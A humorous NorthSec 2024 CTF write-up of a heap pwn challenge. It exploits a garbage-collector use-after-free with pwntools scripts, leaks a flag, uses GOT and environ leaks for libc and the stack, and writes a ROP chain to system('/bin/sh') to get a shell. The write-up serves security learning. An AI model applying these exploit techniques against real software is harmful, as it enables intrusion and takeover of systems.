NSEC24 Excretory System (Rectum) - Mon, May 27, 2024 - Klammydia
Heaps of Orao cookies! | Pwn | Nsec24
Web Frameworks Evolve Too Quickly
My interaction with this challenge started off without much consent. My teammate fob tagged me in the challenge’s channel with the mention heap. Hell, I don’t know much about modern web frameworks but because fob’s time is much more valuable than mine in a competitive CTF setting such as NorthSec, I conceded: “Fine! I will try your leftover web challenges…”
Code Review
So I loaded up my browser (IDA), pointed at the challenge and pressed my very practical view-source hotkey (F5) to inspect the source code. Browsing through the code at a high level, I think I’ve gotten a grasp of what the general idea of what we have. This is a simple command line RESTless API. We have basic CRUD features for some unknown items named wastes.
I try and figure out through black-box testing (IDA’s struct creation view) what wastes look like. I settle for something along the lines of this funny looking JSON object:
struct waste_t {
char name[2048];
size_t sz;
char *data;
}
As I am not much of a web expert, I ask our resident web connoisseur Barberousse if he could validate my JSON schema. He approves. So we have a struct with 3 fields: a fixed sized name
buffer, a user-specified sz
(size) field and a data pointer. The data buffer is a separately malloc’d buffer of the user-supplied sz
(w->data = tgc_malloc(w->sz);
). I then turned to more modern web frameworks: css and drawing. I was convinced it could help me cement my understanding of the memory layout of the structures. Here is the normal layout of allocations.
I keep analyzing the apps source code (I am really not a fan of this new flavour of TypeScript). One part of the waste creation routine caught my attention. Here is a snippet of the wastes_add
function, where w
is a freshly digested waste item.
rao_compliant = strcmp(w->name, "orao");
if ( !rao_compliant )
{
puts("[!] ORAO WASTE DETECTED [!]");
empty_index = wastes_find_next_avail(wastes);
if ( empty_index >= 0 )
{
puts("[!] Spliting Orao in two for easier processing");
w2 = (waste_t *)waste_copy(w);
w2->sz = w->sz >> 1;
w2->data += w2->sz;
wastes[empty_index] = w2;
}
}
From what I am getting, if you are digesting a Rao-compliant snack, the waste_t
struct will be duplicated, and data
buffer will be split in two with one half assigned to each of the waste_t
items. The data
buffer is not reallocated, the two wastes share the buffer with each one having a pointer to their half of the buffer. Sizes are updated to match. I am starting to realize that this is an awfully low-level web framework. Time for some more frontend stuff. Here is the sequence of layouts when you create an Orao waste.
A
is the newly created Orao waste. It is copied to have A
and B
, both with sz
being half of the original size. A.data
is split in two with each half assigned to their respective wastes (A
has first half, B
has the second).
You might also have realized the tgc_malloc
call being unorthodox. I was struck with the same feeling of panic. Looking around at the function signatures, I figured it was coming from somewhere along the lines of this orangeduck/tgc. It was the first time I saw a custom garbage collector used in a low-level web-app, but I guess it’s always nice to have people do the hard work for us.
One last thing I have learned of checking when working on web challenges, is to run the checksec
Burp plugin. Here is the output:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Like one of my best bosses once said: No fun allowed. (You’ll have guessed it, I quit working altogether since.) I guess we will have to settle for constant executable addresses…
Looking for Smuggling Vulnerabilities
According to the past 3 Portswigger Top 10’s, the most important type of vulnerabilities of the web’s modern age is Smuggling. I therefore set out to find my very own smuggling vulnerability. Like it or not, I will smuggle some wastes past this API.
Trying to find some exploitable details of the backend, I returned to the github repository and started reading the first line of every paragraph. (Please do not ask me how it is possible to miss the Rules flag at NorthSec, I do not know.) Here is something interesting:
Therefore some things that don’t qualify an allocation as reachable are, if… a pointer points to an address inside of it, but not at the start of it.
So basically, if you use anything but the returned pointers from tgc_alloc
, your pointer does not count as a reference to the allocated data and that data could be freed at any moment. Now that explains the Orao splitting. I thought it had to do with stealing the frosting…
I figured this was a useful primitive: If an Orao waste is split, and you then flush (delete) the first half, the whole original data
buffer will be freed. Allowing you to have a pointer into free data. In other words, we got ourselves Use After Free.
Playing With My Food
My father showed me at a very young age how important it is to split your Orao’s and punch your Whippets, therefore, I set out to play with my food until something broke. And there I found it: my very own smuggling vulnerability. Here is how things had to go for it to trigger.
- Allocate an Orao (A) with
sz
at least two times the size of awaste_t
.- Split happens, both half are bigger than
sizeof(waste_t)
- Split happens, both half are bigger than
- Delete (err flush) the first half (A)
- Second half’s (B) data will also be freed but it’s pointer not null’d.
- Allocate a new waste C (not Rao compliant) with a size of
sizeof(waste_t)
. - Allocate a new waste D (also not Roa compliant).
- ???
- Profit.
At this point, waste_t
D should (or rather could) be allocated at the same address as B.data
. Again more CSS:
Allocate A and let it split
Delete A
Allocate C
Allocate D
If the garbage collector behaved simply, B.data
and D
are overlapping each other and we can manipulate D
fields through wastes_edit(B)
.
Garbage Collection for Dummies
Garbage collectors do not care about your feelings. They are independent beings. They will not listen to your demands. Nonetheless you have to be insistent do get anything out of them. What this means for our setup?
- After deleting
A
, we need to make sure the GC actually freed it. To do so, send random requests that dont destroy your setup to the allocator until its heuristics tell it to reclaim some memory. I created a bunch of wastes after deleting A and watched for the kindly inserted destructor message added by the challenge designer. Random acts of kindness like these are why you should all remember to buy Flare for all your enterprise CTI needs. - Sometimes the allocator will not allocate
D
insideB.data
. If that is the case, restart the server, not much else to do.
Exploitation for flag1
Now how do we get points out of this thing? The first flag is sitting snuggly in memory at address 0x404008
(remember, no PIE). I opted for using the char *
inside D D->data
, to leak that first flag. Basically, use the edit feature to change the address of D
’s data to 0x404008
, by editing B->data
. This is possible because the waste_t D
is allocated inside the data buffer for B
. Editing B
’s data allows you to modify that char *
in D
and make it point to whatever we want. For now, we want flag. Once the pointer adjusted to point at the flag, all we need to do is print the waste. The list feature prints all wastes’ data and will therefore show the string pointed by D->data
. The payload looks something like this:
def verify_good_heap_layout():
wastes = parse_wastes()
# look for lowercase letters (name) in B.data
return len(wastes) >= 7 and '63' * 2000 in wastes[1].data
def set_where(where, len=8):
wastes = parse_wastes()
data = binascii.unhexlify(wastes[1].data)
idx = data.find(b'c' * 32)
idx_len = idx + 2048
idx_where = idx_len + 8
new_data = data[:idx_len] + p64(len) + p64(where) + data[idx_where+8:]
edit_waste(1, new_data)
def extract_arbitrary_leak(len):
io.recvuntil(b'Choose your option:', timeout=2)
io.sendline(b'b')
io.recvuntil(b'cccccccc\n')
data = io.recvline().decode()
data = binascii.unhexlify(data.strip())[:len]
_junk = io.recvuntil(b'[+]')
return data
def leaker(addr, length=8):
set_where(addr, len=length)
return extract_arbitrary_leak(length)
waste_size = 0x810
waste_with_header_size = 0x820
while True:
io = init() # pwntools tube
add_waste(b'orao', waste_size * 3 + 0x40, b'A' * (0x810*3 + 0x40 - 1))
res = flush_waste(0)
while b'[!] Flushing' not in res:
res = add_waste(b'pad', 8, b'abcdefg')
print(b'[!] Flushing' in res)
add_waste(b'b' * 2046, waste_size + 0x90, b'B' * (waste_size+0x90-1))
add_waste(b'c' * 2046, waste_size - 0x60, b'C' * (waste_size-0x60-1))
add_waste(b'd' * 2046, waste_size - 0x60, b'D' * (waste_size-0x60-1))
if verify_good_heap_layout():
flag = leaker(flag_addr, 32)
print(flag)
sys.exit()
else:
print("bad heap layout")
io.close()
continue
This was worth 4 points and was solved by 5 teams out of 81 in the CTF. A little bit undervalued if you ask me. Also, buy Flare.
Fall Flat Because Nsec Sunday is Hard
From here, things got harder. And as I am far from a web exploitation expert, I did not manage to finish obtaining the second flag during the weekend. Nonetheless, let’s satisfy our curiosity and finish this. Maybe one day we will have the skills to actually clear these before the competition ends.
Solving the Next Day Week
Here we are, a few days later, my NorthSec brain is nearly over and I can start thinking kind of clearly. Let’s get back on track. We were left looking for the second flag which most obviously would be on the file system where this weird web app (binary) is running. From having a peak at the discussions in the Discord channel, post-competition, it was clear that the following idea was not the intended solution nor the cleanest one but lets see if we can take our idea from the CTF and make it work.
To get code execution, we would need a few things:
- A Libc leak. To leak the ASLR’d library address.
- A libc version (so we can track the appropriate binary). To find functions and gadgets.
- A stack address.
- A write-what-where primitive
- A ropchain.
Let’s work on getting each of these.
Leak Libc Address and Version
During the CTF, I was trying to leak a pointer to Libc from either heap chunk meta data or unitialized memory. I had a working payload locally but these leaks did not appear to be the same in the remote system. Who would have thought that using undefined behaviors would jeopardize portability? Let’s focus on another idea, shall we?
Let’s use a GOT entry (this seems so obvious when you are not afflicted by Sunday-NorthSec brain…). Pointing our now controlled char *
to got.__libc_start_main
and printing the string will yield us a pointer inside libc. One down.
All that would be left to do in order to identify the libc version used by the program is, you guessed it, a pointer to something else in that libc. I got this using yet another GOT entry. I settled for got.atoi
. With both of these adresses in hand, we can ask the fine workers at libc DB to identify our version of libc. A few possibilities but I accepted this one: libc6_2.35-0ubuntu3.7_amd64
.
Leaking a Stack Address
To control execution, as the program’s checksec
was No fun allowed, we will need to write to the saved return address of a function on the stack. Some functions don’t have stack cookies so that would be possible. We now need to find the location of the stack. One option is to leak the value of environ
within the libc adress space. This contains a pointer to the start of the environment on the program stack. Now that we have the good libc version along with some leaks, finding the address of environ
in program memory is only arithmetics away (details left to the reader). Use the same strategy as previously to read its value.
WWW
I knew this was a web challenge after all! A question remains: do we have the primitives to write data to an arbitrary memory location? Turns out we do. We can use the fact that on one hand we can control the location of D
’s data
, and on the other, we can edit D
’s data
. Sounds like a write-what-where (WWW) to me! We know where the stack is, we can deduct and/or approximate where there is a return address saved. All we need is something to write!
ROPchain
Now don’t quote me on this, but I believe that the Web4.0 will be all about hosting websites on the ROPchain. Once again, I’m no expert.
Let’s get ahead of the curve and craft ourselves a ROPchain. With the exact version of libc in hand, we can do one of many things. We could use one of our chunks in the heap to hold /bin/sh\x00
and use the data
pointer as an argument to system
or use the one that already lives in libc. Both work. I used the one in libc. Finding the address of system
in memory is also only arithmetics away. Next find a gadget à la pop rdi; ret
to move a controlled value (address of /bin/sh\x00
) to RDI. (blah, blah, arithmetics).
Exploitation and Stack Adjustments
Locally, it is easy to see the offset on the stack between the saved return address and the address of environ
(yup, arithmetics). Remotely though, it is somewhat harder. I bridged this gap by fuzzing a little bit. I took the offset I calculated locally and tried in a loop (x + 8*n
, and x - 8*n
) for a few iterations of n
and eventually landed on it. You can also prepend your ROPchain with a retsled to help. (a bunch of times the address of a ret
instruction.
The main part of my final payload looks something like this.
def write(what, cleanup=True):
io.recvuntil(b'Choose your option:', timeout=2)
io.sendline(b'b')
io.recvuntil(b'cccccccc\n')
data = io.recvline().decode()
data = binascii.unhexlify(data.strip())
new_data = what
edit_waste(6, new_data, cleanup=cleanup)
def extract_arbitrary_leak(len):
io.recvuntil(b'Choose your option:', timeout=2)
io.sendline(b'b')
io.recvuntil(b'cccccccc\n')
data = io.recvline().decode()
data = binascii.unhexlify(data.strip())[:len]
_junk = io.recvuntil(b'[+]')
return data
def leaker(addr, length=8):
set_where(addr, len=length)
return extract_arbitrary_leak(length)
def writer(addr, value, cleanup=True):
set_where(addr, len(value))
write(value, cleanup=cleanup)
def leak_libc_base():
libc_base = u64(leaker(e.got['__libc_start_main'])) - libc.symbols['__libc_start_main']
return libc_base
waste_size = 0x810
waste_with_header_size = 0x820
stack_offs = 32 * 19
while True:
time.sleep(1)
io = init()
add_waste(b'orao', waste_size * 3 + 0x40, b'A' * (0x810*3 + 0x40 - 1))
res = flush_waste(0)
while b'[!] Flushing' not in res:
res = add_waste(b'ppp', 8, b'abcdefg')
print(b'[!] Flushing' in res)
add_waste(b'b' * 0x7f0, waste_size + 0x90, b'B' * (waste_size+0x90-1))
add_waste(b'c' * 0x7f0, waste_size - 0x60, b'C' * (waste_size-0x60-1))
add_waste(b'd' * 0x7f0, waste_size - 0x60, b'D' * (waste_size-0x60-1))
if verify_good_heap_layout():
# print(parse_wastes())
libc.address = leak_libc_base()
if libc.address <= 0:
io.close()
continue
else:
print("bad heap layout")
io.close()
continue
__libc_start_main = u64(leaker(e.got['__libc_start_main']))
strcpy = u64(leaker(e.got['strcpy']))
atoi = u64(leaker(e.got['atoi']))
environ = libc.symbols['environ']
try:
stack = u64(leaker(environ, length=8))
print('! stack', hex(stack))
break
except:
print("bad stack leak")
io.close()
continue
edit_ret_addr = stack - 32 - stack_offs
ret = 0x0401AEC
rop = ROP(libc)
binsh = next(libc.search(b"/bin/sh\x00"))
# RETsled
for i in range(9):
rop.raw(ret)
rop.call(libc.symbols['system'], (binsh,))
writer(edit_ret_addr, rop.chain(), cleanup=False)
io.interactive()
Flag2 Conclusion
And there you have it. Our glorious second flag. Well actually no, this gives us a shell. But you should be good from here.
This was worth 6 points and was solved by 4 teams out of 81 in the CTF. Still a little bit undervalued if you ask me. You should still consider buying Flare.
Conclusion
To viewers who have read this far. I am deeply sorry for wronging you. This challenge had nothing to do with web. It was only a ruse to allow me to justify my failures to the rest of my team. I can safely explain myself here as my teammates will never read this. They have proven many times over that they do not read things.
Also here is the full script. Not pretty. Not sorry.